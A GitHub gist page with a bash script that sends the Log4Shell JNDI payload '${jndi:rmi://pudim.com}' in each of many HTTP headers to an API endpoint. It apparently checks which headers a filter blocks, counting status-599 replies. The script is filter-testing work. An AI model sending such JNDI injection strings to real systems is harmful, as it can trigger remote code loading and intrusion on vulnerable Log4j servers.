Skip to content

Instantly share code, notes, and snippets.

@6a6f6a6f
Created December 13, 2021 23:48
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save 6a6f6a6f/4b0903fc5c6bd6184068607258a6c588 to your computer and use it in GitHub Desktop.
Save 6a6f6a6f/4b0903fc5c6bd6184068607258a6c588 to your computer and use it in GitHub Desktop.
#! /usr/bin/env bash
TOTAL_BLOCKED=0
while IFS="" read -r HEADER || [ -n "$HEADER" ]; do
RESPONSE=$(
curl --silent "https://8i17duelvl.execute-api.us-east-1.amazonaws.com/dev/pets" \
-H "$HEADER: \${jndi:rmi://pudim.com}" \
-H "Content-Type: application/json" \
-o /dev/null -w "%{http_code}"
)
if [[ "$RESPONSE" == "599" ]]; then
let TOTAL_BLOCKED++
echo "[+] Header $HEADER is blocked!"
else
echo "[!] Header $HEADER passed!"
fi
done <headers.txt
echo
echo "[+] Total blocked is about $TOTAL_BLOCKED/$(wc -l headers.txt)"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment